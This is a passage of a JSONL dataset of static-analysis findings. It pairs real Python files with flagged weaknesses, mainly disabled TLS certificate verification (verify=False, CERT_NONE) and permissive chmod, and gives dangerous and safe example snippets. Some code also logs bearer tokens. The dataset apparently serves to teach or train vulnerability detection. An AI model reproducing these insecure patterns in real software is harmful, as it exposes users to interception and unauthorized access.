get(self, username, server_name=''):  # @UnusedVariable\n        uuidcode = self.request.headers.get('uuidcode', None)\n        if not uuidcode:\n            uuidcode = uuid.uuid4().hex\n        with open(os.environ.get('HUB_TOKEN_PATH', ''), 'r') as f:\n            intern_token = f.read().rstrip()\n        if self.request.headers.get('Intern-Authorization', '') != intern_token:\n            self.log.warning(\"uuidcode={} - Could not validate Intern-Authorization\".format(uuidcode))\n            self.set_status(401)\n            return\n        self.log.debug(\"uuidcode={} - GetToken for servername={}\".format(uuidcode, server_name))\n        user = None\n        try:\n            if 'Authorization' in self.request.headers.keys():\n                s = self.request.headers.get('Authorization').split()\n                found = APIToken.find(self.db, token=s[1])\n                if found is not None:\n                    user = self._user_from_orm(found.user)\n        except:\n            self.log.debug(\"uuidcode={} - Could not find user for this token: {}\".format(uuidcode, self.request.headers.get('Authorization', '')))\n        #if not user:\n        #    user = self.find_user(username)\n        if user:\n            self.set_header('Content-Type', 'text/plain')\n            self.set_status(201)\n            self.log.debug(\"UID={} - uuidcode={} - load accesstoken from database.\".format(user.name, uuidcode))\n            db_user = user.db.query(User).filter(User.name == user.name).first()\n            if db_user:\n                user.db.refresh(db_user)\n                user.encrypted_auth_state = db_user.encrypted_auth_state\n            state = await user.get_auth_state()\n            token = { 'accesstoken': state.get('accesstoken'), 'refreshtoken': state.get('refreshtoken'), 'expire': state.get('expire') }\n            if self.request.headers.get('renew', 'False').lower() == 'true':\n                if int(token.get('expire')) - time.time() < 480:\n                    try:\n                        self.log.debug(\"uuidcode={} - UID={} - Try to update accesstoken\".format(uuidcode, user.name))\n                        with open(user.authenticator.unity_file, 'r') as f:\n                            unity = json.load(f)\n                        if state.get('login_handler') == 'jscldap':\n                            b64key = base64.b64encode(bytes('{}:{}'.format(unity[user.authenticator.jscldap_token_url]['client_id'], unity[user.authenticator.jscldap_token_url]['client_secret']), 'utf-8')).decode('utf-8')\n                            data = {'refresh_token': token.get('refreshtoken'),\n                                    'grant_type': 'refresh_token',\n                                    'scope': ' '.join(unity[user.authenticator.jscldap_token_url]['scope'])}\n                            url = user.authenticator.jscldap_token_url\n                            info_url = unity[user.authenticator.jscldap_token_url]['links']['tokeninfo']\n                        elif state.get('login_handler') == 'jscusername':\n                            b64key = base64.b64encode(bytes('{}:{}'.format(unity[user.authenticator.jscusername_token_url]['client_id'], unity[user.authenticator.jscusername_token_url]['client_secret']), 'utf-8')).decode('utf-8')\n                            data = {'refresh_token': token.get('refreshtoken'),\n                                    'grant_type': 'refresh_token',\n                                    'scope': ' '.join(unity[user.authenticator.jscusername_token_url]['scope'])}\n                            url = user.authenticator.jscusername_token_url\n                            info_url = unity[user.authenticator.jscusername_token_url]['links']['tokeninfo']\n                        accesstoken = token.get('accesstoken')\n                        expire = token.get('expire')\n                        headers = {'Authorization': 'Basic {}'.format(b64key),\n                                   'Accept': 'application/json'}\n                        with closing(requests.post(url, headers=headers, data=data, verify=False)) as r:\n                            if r.status_code == 200:\n                                accesstoken = r.json().get('access_token')\n                            else:\n                                self.log.warning(\"uuidcode={} - UID={} - Could not update accesstoken: {} {}\".format(uuidcode, user.name, r.status_code, r.text))\n                        with closing(requests.get(info_url, headers={ 'Authorization': 'Bearer {}'.format(accesstoken) }, verify=False)) as r:\n                            if r.status_code == 200:\n                                expire = r.json().get('exp')\n                            else:\n                                self.log.warning(\"uuidcode={} - UID={} - Could not receive token information: {} {}\".format(uuidcode, user.name, r.status_code, r.text))\n                        state['accesstoken'] = accesstoken\n                        state['expire'] = expire\n                        await user.save_auth_state(state)\n                        token['accesstoken'] = accesstoken\n                        token['expire'] = expire\n                    except:\n                        self.log.exception(\"uuidcode={} - UID={} - Could not update accesstoken\".format(uuidcode, user.name))\n            if self.request.headers.get('accounts', 'False').lower() == 'true':\n                token['oauth_user'] = state.get('oauth_user')\n            self.write(json.dumps(token))\n            self.flush()\n        else:\n            self.set_status(404)\n            self.write(\"User with token {} not found\".format(self.request.headers.get('Authorization', None)))\n            self.flush()\n        return\n\n    async def post(self, username, server_name=''):\n        uuidcode = self.request.headers.get('uuidcode', None)\n        if not uuidcode:\n            uuidcode = uuid.uuid4().hex\n        self.log.debug(\"uuidcode={} - PostToken for servername={}\".format(uuidcode, server_name))\n        with open(os.environ.get('HUB_TOKEN_PATH', ''), 'r') as f:\n            intern_token = f.read().rstrip()\n        if self.request.headers.get('Intern-Authorization', '') != intern_token:\n            self.log.warning(\"uuidcode={} - Could not validate Intern-Authorization\".format(uuidcode))\n            self.set_status(401)\n            return\n        data = self.request.body.decode(\"utf8\")\n        self.set_header('Content-Type', 'text/plain')\n        if not data:\n            self.set_status(400)\n            self.write(\"Please send the token in the body as json: { \\\"accesstoken\\\": \\\"...\\\", \\\"expire\\\": \\\"...\\\" }\")\n            self.flush()\n            return\n        user = None\n        if 'Authorization' in self.request.headers.keys():\n            s = self.request.headers.get('Authorization').split()\n            found = APIToken.find(self.db, token=s[1])\n            if found is not None:\n                user = self._user_from_orm(found.user)\n        if not user:\n            user = self.find_user(username)\n        if user:\n            data_json = json.loads(data)\n            try:\n                self.log.debug(\"uuidcode={} - UID={} - update accesstoken in database.\".format(uuidcode, user.name))\n                db_user = user.db.query(User).filter(User.name == user.name).first()\n                if db_user:\n                    user.db.refresh(db_user)\n                    user.encrypted_auth_state = db_user.encrypted_auth_state\n                state = await user.get_auth_state()\n                state['accesstoken'] = data_json['accesstoken']\n                state['expire'] = data_json['expire']\n                await user.save_auth_state(state)\n            except KeyError as e:\n                self.set_status(400)\n                self.write(\"Key {} missing\".format(str(e)))\n                self.flush()\n                return\n            self.set_header('Content-Type', 'text/plain')\n            self.set_status(201)\n        else:\n            self.set_status(404)\n            self.write(\"User with token {} not found\".format(self.request.headers.get('Authorization', None)))\n            self.flush()\n        return", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 52, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "52"}}, {"lineNo": 80, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "6e92f43006c5fe837b05dfaeee745c918e00332f522baefc3d46047dbd83f3d3", "license": {"spdx": ["MIT"], "repo": "Valuebai/awesome-python-io", "path": "project-run/imooc_auto_api/base/configHttp.py", "repo_head_hexsha": "8bb3400036843975cb41cbfd85ccfe603596930b", "stack_hexsha": "a11059ec716aec3cded8d444a0db08968afe229b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 42, "entireCode": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n'''=================================================\n@IDE    :PyCharm\n@Author :Valuebai\n@Date   :2020/2/1 18:21\n@Desc   :封装requests请求get和post\n使用from runmethod import RunMethod 来实例化对象进行使用\n\n\n\n# 不同:get用于获取数据,post用于修改数据\n\n两者传递参数的方式也有不一样\n- get是直接在url里通过?来连接参数\n- post则是把数据放在HTTP的包体内(request body)\n\n# 相同:两者的本质就是TCP链接,并无差别\n=================================================='''\nimport requests\nimport json\n\n\n# from common.logConf import logger\n\n\nclass RunMethod:\n\n    # 定义requests的post函数\n    def send_post(self, url, data, header=None):\n        res = None\n        if header != None:\n            res = requests.post(url=url, data=data, headers=header)\n        else:\n            res = requests.post(url=url, data=data)\n        return res.json()\n\n    # 定义requests的get函数\n    def send_get(self, url, data=None, header=None):\n        res = None\n        if header != None:\n            res = requests.get(url=url, data=data, headers=header, verify=False)  # 忽略对 SSL 证书的验证\n        else:\n            res = requests.get(url=url, data=data, verify=False)  # 忽略对 SSL 证书的验证\n        return res.json()\n\n    # 封装requests执行主函数\n    def run_main(self, method, url, data=None, header=None):\n        res = None\n        method = method.upper()  # 将请求方式转为大写,防止写错为get\n\n        if method == 'POST':\n            res = self.send_post(url, data, header)\n        elif method == 'GET':\n            res = self.send_get(url, data, header)\n        else:\n            print('您输入的method不对,只能处理GET和POST的')\n        return json.dumps(res, ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n    # logger.info('INFO日志打印...')\n    test = RunMethod()\n    test = RunMethod()\n    url = 'http://httpbin.org/post'\n    data = {'key': 'value'}\n    result = test.run_main('POST', url, data=data)\n    print('POST:', result)\n    print('GET:', test.run_main('GET', 'http://httpbin.org/get'))\n", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "41"}}, {"lineNo": 42, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "92d284f3f0c9108fc5a7757a796293be2ccfd959ff0955f9ce8e149a644117ad", "license": {"spdx": ["Apache-2.0"], "repo": "butsoleg/skuba", "path": "ci/infra/testrunner/utils/utils.py", "repo_head_hexsha": "1a363d4f3ca8fc33bfb0284043da26fe879c31a3", "stack_hexsha": "3153b18dc5b355a77d44d559ba2a0ad4652444b2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 45, "entireCode": "import glob\nimport hashlib\nimport logging\nimport os\nimport shutil\nimport subprocess\nfrom functools import wraps\nfrom tempfile import gettempdir\nfrom threading import Thread\n\nimport requests\nfrom timeout_decorator import timeout\n\nfrom utils.constants import Constant\nfrom utils.format import Format\n\nlogger = logging.getLogger('testrunner')\n\n_stepdepth = 0\n\n\ndef step(f):\n    @wraps(f)\n    def wrapped(*args, **kwargs):\n        global _stepdepth\n        _stepdepth += 1\n        logger.debug(\"{} entering {} {}\".format(Format.DOT * _stepdepth, f.__name__,\n                                                f.__doc__ or \"\"))\n        r = f(*args, **kwargs)\n        logger.debug(\"{}  exiting {}\".format(\n            Format.DOT_EXIT * _stepdepth, f.__name__))\n        _stepdepth -= 1\n        return r\n\n    return wrapped\n\n\nclass Utils:\n\n    def __init__(self, conf):\n        self.conf = conf\n\n    @staticmethod\n    def chmod_recursive(directory, permissions):\n        os.chmod(directory, permissions)\n\n        for file in glob.glob(os.path.join(directory, \"**/*\"), recursive=True):\n            try:\n                os.chmod(file, permissions)\n            except Exception as ex:\n                logger.debug(ex)\n\n    @staticmethod\n    def cleanup_file(file):\n        if os.path.exists(file):\n            logger.debug(f\"Cleaning up {file}\")\n            try:\n                try:\n                    # Attempt to remove the file first, because a socket (e.g.\n                    # ssh-agent) is not a file but has to be removed like one.\n                    os.remove(file)\n                except IsADirectoryError:\n                    shutil.rmtree(file)\n            except Exception as ex:\n                logger.debug(ex)\n        else:\n            logger.debug(f\"Nothing to clean up for {file}\")\n\n    @staticmethod\n    def cleanup_files(files):\n        \"\"\"Remove any files or dirs in a list if they exist\"\"\"\n        for file in files:\n            Utils.cleanup_file(file)\n\n    def ssh_cleanup(self):\n        \"\"\"Remove ssh sock files\"\"\"\n        # TODO: also kill ssh agent here? maybe move pkill to kill_ssh_agent()?\n        sock_file = self.ssh_sock_fn()\n        sock_dir = os.path.dirname(sock_file)\n        try:\n            Utils.cleanup_file(sock_file)\n            # also remove tempdir if it's empty afterwards\n            if 0 == len(os.listdir(sock_dir)):\n                os.rmdir(sock_dir)\n            else:\n                logger.warning(f\"Dir {sock_dir} not empty; leaving it\")\n        except FileNotFoundError:\n            pass\n        except OSError as ex:\n            logger.debug(ex)\n\n    def collect_remote_logs(self, ip_address, logs, store_path):\n        \"\"\"\n        Collect logs from a remote machine\n        :param ip_address: (str) IP of the machine to collect the logs from\n        :param logs: (dict: list) The different logs to collect {\"files\": [], \"dirs\": [], \"\"services\": []}\n        :param store_path: (str) Path to copy the logs to\n        :return: (bool) True if there was an error while collecting the logs\n        \"\"\"\n        logging_errors = False\n\n        for log in logs.get(\"files\", []):\n            try:\n                self.scp_file(ip_address, log, store_path)\n            except Exception as ex:\n                logger.debug(\n                    f\"Error while collecting {log} from {ip_address}\\n {ex}\")\n                logging_errors = True\n\n        for log in logs.get(\"dirs\", []):\n            try:\n                self.rsync(ip_address, log, store_path)\n            except Exception as ex:\n                logger.debug(\n                    f\"Error while collecting {log} from {ip_address}\\n {ex}\")\n                logging_errors = True\n\n        for service in logs.get(\"services\", []):\n            try:\n                self.ssh_run(\n                    ip_address, f\"sudo journalctl -xeu {service} > {service}.log\")\n                self.scp_file(ip_address, f\"{service}.log\", store_path)\n            except Exception as ex:\n                logger.debug(\n                    f\"Error while collecting {service}.log from {ip_address}\\n {ex}\")\n                logging_errors = True\n\n        return logging_errors\n\n    def authorized_keys(self):\n        public_key_path = self.conf.terraform.ssh_key + \".pub\"\n        os.chmod(self.conf.terraform.ssh_key, 0o400)\n\n        with open(public_key_path) as f:\n            pubkey = f.read().strip()\n        return pubkey\n\n    def ssh_run(self, ipaddr, cmd):\n        key_fn = self.conf.terraform.ssh_key\n        cmd = \"ssh \" + Constant.SSH_OPTS + \" -i {key_fn} {username}@{ip} -- '{cmd}'\".format(\n            key_fn=key_fn, ip=ipaddr, cmd=cmd, username=self.conf.terraform.nodeuser)\n        return self.runshellcommand(cmd)\n\n    def scp_file(self, ip_address, remote_file_path, local_file_path):\n        \"\"\"\n        Copies a remote file from the given ip to the give path\n        :param ip_address: (str) IP address of the node to copy from\n        :param remote_file_path: (str) Path of the file to be copied\n        :param local_file_path: (str) Path where to store the log\n        :return:\n        \"\"\"\n        cmd = (f\"scp {Constant.SSH_OPTS} -i {self.conf.terraform.ssh_key}\"\n               f\" {self.conf.terraform.nodeuser}@{ip_address}:{remote_file_path} {local_file_path}\")\n        self.runshellcommand(cmd)\n\n    def rsync(self, ip_address, remote_dir_path, local_dir_path):\n        \"\"\"\n        Copies a remote dir from the given ip to the give path\n        :param ip_address: (str) IP address of the node to copy from\n        :param remote_dir_path: (str) Path of the dir to be copied\n        :param local_dir_path: (str) Path where to store the dir\n        :return:\n        \"\"\"\n        cmd = (f'rsync -avz --no-owner --no-perms -e \"ssh {Constant.SSH_OPTS} -i {self.conf.terraform.ssh_key}\"  '\n               f'--rsync-path=\"sudo rsync\" --ignore-missing-args {self.conf.terraform.nodeuser}@{ip_address}:{remote_dir_path} '\n               f'{local_dir_path}')\n        self.runshellcommand(cmd)\n\n    def runshellcommand(self, cmd, cwd=None, env={}, ignore_errors=False, stdin=None):\n        \"\"\"Running shell command in {workspace} if cwd == None\n           Eg) cwd is \"skuba\", cmd will run shell in {workspace}/skuba/\n               cwd is None, cmd will run in {workspace}\n               cwd is abs path, cmd will run in cwd\n        Keyword arguments:\n        cmd -- command to run\n        cwd -- dir to run the cmd\n        env -- environment variables\n        ignore_errors -- don't raise exception if command fails\n        stdin -- standard input for the command in bytes\n        \"\"\"\n        if not cwd:\n            cwd = self.conf.workspace\n\n        if not os.path.isabs(cwd):\n            cwd = os.path.join(self.conf.workspace, cwd)\n\n        if not os.path.exists(cwd):\n            raise FileNotFoundError(Format.alert(\"Directory {} does not exists\".format(cwd)))\n\n        if logging.DEBUG >= logger.level:\n            logger.debug(\"Executing command\\n\"\n                         \"    cwd: {} \\n\"\n                         \"    env: {}\\n\"\n                         \"    cmd: {}\".format(cwd, str(env) if env else \"{}\", cmd))\n        else:\n            logger.info(\"Executing command {}\".format(cmd))\n\n        stdout, stderr = [], []\n        p = subprocess.Popen(\n            cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=cwd,\n            stdin=subprocess.PIPE if stdin else None, shell=True, env=env\n        )\n        if stdin:\n            p.stdin.write(stdin)\n            p.stdin.close()\n        stdoutStreamer = Thread(target = self.read_fd, args = (p, p.stdout, logger.debug, stdout))\n        stderrStreamer = Thread(target = self.read_fd, args = (p, p.stderr, logger.error, stderr))\n        stdoutStreamer.start()\n        stderrStreamer.start()\n        stdoutStreamer.join()\n        stderrStreamer.join()\n        # this is redundant, at this point threads were joined and they waited for the subprocess\n        # to exit, however it should not hurt to explicitly wait for it again (no-op).\n        p.wait()\n        stdout, stderr = \"\".join(stdout), \"\".join(stderr)\n\n        if p.returncode != 0:\n            if not ignore_errors:\n                raise RuntimeError(\"Error executing command {}\".format(cmd))\n            else:\n                return stderr\n        return stdout\n\n    def ssh_sock_fn(self):\n        \"\"\"generate path to ssh socket\n\n        A socket path can't be over 107 chars on Linux, so generate a short\n        hash of the workspace and use that in $TMPDIR (usually /tmp) so we have\n        a predictable, test-unique, fixed-length path.\n        \"\"\"\n        path = os.path.join(\n            gettempdir(),\n            hashlib.md5(self.conf.workspace.encode()).hexdigest(),\n            \"ssh-agent-sock\"\n        )\n        maxl = 107\n        if len(path) > maxl:\n            raise Exception(f\"Socket path '{path}' len {len(path)} > {maxl}\")\n        return path\n\n    def read_fd(self, proc, fd, logger_func, output):\n        \"\"\"Read from fd, logging using logger_func\n\n        Read from fd, until proc is finished. All contents will\n        also be appended onto output.\"\"\"\n        while True:\n            contents = fd.readline().decode()\n            if contents == '' and proc.poll() is not None:\n                return\n            if contents:\n                output.append(contents)\n                logger_func(contents.strip())\n\n    @timeout(60)\n    @step\n    def setup_ssh(self):\n        os.chmod(self.conf.terraform.ssh_key, 0o400)\n\n        # use a dedicated agent to minimize stateful components\n        sock_fn = self.ssh_sock_fn()\n        # be sure directory containing socket exists and socket doesn't exist\n        if os.path.exists(sock_fn):\n            try:\n                if os.path.isdir(sock_fn):\n                    os.path.rmdir(sock_fn)  # rmdir only removes an empty dir\n                else:\n                    os.remove(sock_fn)\n            except FileNotFoundError:\n                pass\n        try:\n            os.mkdir(os.path.dirname(sock_fn), mode=0o700)\n        except FileExistsError:\n            if os.path.isdir(os.path.dirname(sock_fn)):\n                pass\n            else:\n                raise\n        # clean up old ssh agent process(es)\n        try:\n            self.runshellcommand(\"pkill -f 'ssh-agent -a {}'\".format(sock_fn))\n            logger.warning(\"Killed previous instance of ssh-agent\")\n        except:\n            pass\n        self.runshellcommand(\"ssh-agent -a {}\".format(sock_fn))\n        self.runshellcommand(\n            \"ssh-add \" + self.conf.terraform.ssh_key, env={\"SSH_AUTH_SOCK\": sock_fn})\n\n    @timeout(30)\n    @step\n    def info(self):\n        \"\"\"Node info\"\"\"\n        info_lines = \"Env vars: {}\\n\".format(sorted(os.environ))\n        info_lines += self.runshellcommand('ip a')\n        info_lines += self.runshellcommand('ip r')\n        info_lines += self.runshellcommand('cat /etc/resolv.conf')\n\n        # TODO: the logic for retrieving external is platform depedant and should be\n        # moved to the corresponding platform\n        try:\n            r = requests.get(\n                'http://169.254.169.254/2009-04-04/meta-data/public-ipv4', timeout=2)\n            r.raise_for_status()\n        except (requests.HTTPError, requests.Timeout) as err:\n            logger.warning(\n                f'Meta Data service unavailable could not get external IP addr{err}')\n        else:\n            info_lines += 'External IP addr: {}'.format(r.text)\n\n        return info_lines", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 45, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "be6f1fca820d5ebecb389b50b5476b52a5a69c9e3f9c80517cb9455886293854", "license": {"spdx": ["BSD-2-Clause"], "repo": "nckz/wrappaconda", "path": "wrappaconda.py", "repo_head_hexsha": "43203be36f2de17fdf8fe77c151c5628bd98321f", "stack_hexsha": "672fde99dcb82eabf8b0425ec9a63d4e04194da7", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 208, "entireCode": "#!/usr/bin/env python\n# Author: \n# Date: 2015oct31 \n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport stat\nimport errno\nimport shutil\nimport optparse\nimport traceback\nimport subprocess\n\nwrappaconda_name_string = 'Wr[App]-A-Conda'\n\nclass AppAtizer(object):\n\n    def __init__(self):\n\n        # tmp paths\n        self._downloads_prefix = os.path.expanduser('~/Downloads')\n        if not os.path.isdir(self._downloads_prefix):\n            self._downloads_prefix = './' # use cwd\n\n        # try for wget or curl\n        self._get = self._getDownloaderCommand()\n\n        # cli input\n        self._parseUserInput()\n\n        # .app paths\n        self._apppath = '/Applications/'+self._name+'.app'\n        self._contents_prefix = self._apppath + \"/Contents\"\n        self._resource_prefix = self._contents_prefix + \"/Resources\"\n        self._info_plist_path = self._contents_prefix + \"/Info.plist\"\n        self._pkg_info_path = self._contents_prefix + \"/PkgInfo\"\n        self._macos_prefix = self._contents_prefix + \"/MacOS\"\n        self._cfbundle_icon_filename = 'app.icns'\n\n        # Wr[App]-A-Conda paths\n        self._id_file_path = self._resource_prefix + \"/wrappaconda\"\n\n        # miniconda paths\n        self._miniconda_prefix = self._resource_prefix + \"/miniconda\"\n        self._python_path = self._miniconda_prefix + \"/bin/python\"\n        self._conda_path = self._miniconda_prefix + \"/bin/conda\"\n\n\n    def _parseUserInput(self):\n        # get user input\n        parser = optparse.OptionParser()\n        parser.add_option(\"-n\", \"--name\", dest='name', help=\"[REQUIRED] The name of this app.\")\n        parser.add_option(\"-t\", \"--target\", dest='target', help=\"[REQUIRED] The binary or script found in Anaconda\\'s $PREFIX/bin.\")\n        parser.add_option(\"-v\", \"--version\", dest='version', help=\"The version of this app.\", default='0.1')\n        parser.add_option(\"-i\", \"--icon\", dest='icon_file', help=\"Icon file to be used in the bundle.\")\n        parser.add_option(\"-c\", \"--channel\", dest='channel', help=\"The Anaconda.org package channel(s), or url(s) separated by commas (e.g. nckz,https://conda.anaconda.org/gpi/channel/rc) (defaults to \\'defaults\\')\", default='defaults')\n        parser.add_option(\"-p\", \"--package\", dest='package', help=\"The package name(s) separated by commas (e.g. scipy=0.15.0,curl=7.26.0,pip).\")\n        parser.add_option(\"-r\", \"--rootenv\", dest='rootenv', help=\"A root environment file (created using: \\'conda list --export\\').\")\n        parser.add_option(\"--py\", dest='py_ver', help=\"Choose the distro python version using the major and minor version numbers (defaults to 3.5).\", default='3.5')\n        parser.add_option(\"-o\", \"--overwrite\", action=\"store_true\", dest='overwrite', help=\"Overwrite an existing app with the same \\'name\\'. Use caution!!!\")\n        options, args = parser.parse_args()\n\n        try:\n            # check for input errors\n            assert options.name is not None\n            assert options.target is not None\n            if options.icon_file is not None:\n                assert os.path.isfile(options.icon_file)\n                assert options.icon_file.endswith(\".icns\")\n            if options.rootenv is not None:\n                assert os.path.isfile(options.rootenv)\n        except:\n            parser.print_help()\n            raise\n\n        self._name = options.name\n        self._version = options.version\n        self._target = options.target\n        self._icon_file = options.icon_file\n        self._channel = options.channel\n        self._package = options.package\n        self._root_env = options.rootenv\n        self._py_ver = options.py_ver\n        self._overwrite = options.overwrite\n\n    def _getDownloaderCommand(self):\n        # check for installed utilities\n        try:\n            subprocess.check_output('command -v wget >/dev/null 2>&1;', shell=True)\n            return 'wget --directory-prefix ' + self._downloads_prefix + ' -c {}'\n        except:\n            try:\n                subprocess.check_output('command -v curl >/dev/null 2>&1;', shell=True)\n                return 'cd '+self._downloads_prefix+' && curl --fail -O -C - {} '\n            except:\n                print(\"This script requires \\'wget\\' or \\'curl\\' and neither were found.\")\n                raise\n\n    def appPath(self):\n        return self._apppath\n\n    def deleteExistingApp(self):\n        if os.path.exists(self._apppath):\n            if self._overwrite:\n                print(\"Removing existing path: \"+self._apppath)\n                try:\n                    with open(self._id_file_path, 'r') as f:\n                        assert f.read().count(wrappaconda_name_string) > 0\n                    shutil.rmtree(self._apppath)\n                except:\n                    print(\"The app \\'\"+self._apppath+\"\\' cannot be verified for deletion. You may have to remove it manually. Skipping...\")\n            else:\n                print(\"The app \\'\"+self._apppath+\"\\' already exists, exiting...\")\n\n    def buildAppSkeleton(self):\n        # build the .app directory and supporting files\n        try:\n            os.mkdir(self._apppath)\n            os.mkdir(self._contents_prefix)\n            os.mkdir(self._macos_prefix)\n            os.mkdir(self._resource_prefix)\n        except OSError as e:\n            if e.errno == errno.EPERM:\n                print(\"You must have root permissions to write to /Applications.\")\n            raise\n\n    def copyIconFile(self):\n        if self._icon_file is not None:\n            shutil.copy(self._icon_file, self._resource_prefix + '/' + self._cfbundle_icon_filename)\n\n    def writeInfoPList(self):\n        # http://stackoverflow.com/questions/7404792/how-to-create-mac-application-bundle-for-python-script-via-python\n        CFBundleName = self._name\n        CFBundleVersion = self._version\n        CFBundleIconFile = self._cfbundle_icon_filename\n        CFBundleGetInfoString = CFBundleName + \" \" + CFBundleVersion\n        CFBundleShortVersionString = CFBundleGetInfoString\n        CFBundleIdentifier = \"com.gpilab.\"+CFBundleName\n        CFBundleExecutable = self._target\n\n        info_plist = \"\"\"\n\n\n\n    CFBundleDevelopmentRegion\n    English\n    CFBundleExecutable\n    %s\n    CFBundleGetInfoString\n    %s\n    CFBundleIconFile\n    %s\n    CFBundleIdentifier\n    %s\n    CFBundleInfoDictionaryVersion\n    6.0\n    CFBundleName\n    %s\n    CFBundlePackageType\n    APPL\n    CFBundleShortVersionString\n    %s\n    CFBundleSignature\n    ????\n    CFBundleVersion\n    %s\n    NSAppleScriptEnabled\n    YES\n    NSMainNibFile\n    MainMenu\n    NSPrincipalClass\n    NSApplication\n\n\n\"\"\"\n        with open(self._info_plist_path, \"w\") as f:\n            f.write(info_plist % (CFBundleExecutable, CFBundleGetInfoString, CFBundleIconFile, CFBundleIdentifier, CFBundleName, CFBundleShortVersionString, CFBundleVersion))\n\n    def writePkgInfo(self):\n        with open(self._pkg_info_path, \"w\") as f:\n            f.write(\"APPL????\")\n\n    def writeWrappacondaIDFile(self):\n        with open(self._id_file_path, \"w\") as f:\n            f.write(\"This app was generated 